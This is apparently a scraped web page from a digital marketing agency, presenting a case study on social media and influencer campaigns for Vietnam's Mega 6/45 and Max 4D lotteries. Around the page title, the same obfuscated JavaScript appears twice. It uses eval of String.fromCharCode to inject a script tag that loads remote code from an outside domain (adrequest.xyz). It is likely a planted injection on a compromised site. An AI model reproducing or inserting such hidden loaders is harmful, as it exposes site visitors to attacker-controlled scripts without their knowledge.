var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); Berjaya Gia Thinh – Monipla – Digital Marketing Online var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125));

Background

Mega 6/45 and Max 4D are the 2 first computerized lottery in Vietnam with the Jackpot prize more than 12 billion VND, managed and operated by Vietlott and Berjaya Gia Thinh.

Challenge

DI Marketing was selected to support client with diverse scope of work

  • Teasing & Launching
  • Build brand trust: Deliver the key message “MEGA 6/45 is authentic, trustworthy and always transparent”
  • Build brand love
  • Trial & Action

DIM’s strategy & Result

DI Marketing’s offer package

  • Most influential KOL for Service Teasing period: Ly Hai Minh Ha, Tran Thanh, Ba Tung, Dua Leo, Thuy Tien, Phan Anh,..
  • Digital character creative and production: Mr. Jackpot who became the brand ambassador for Mega 6/45
  • Professional customer services and crisis management which addressed more than 10,000 questions from fans in 6 months, which gradually convert the sentiments from being skeptical to trust and positive

  • Client Berjaya Gia Thịnh
  • Brands Mega 6/45, Max 4D
  • Channel Social Media, PR Online
  • Skills Creative, Viral, Social Media
  • Share
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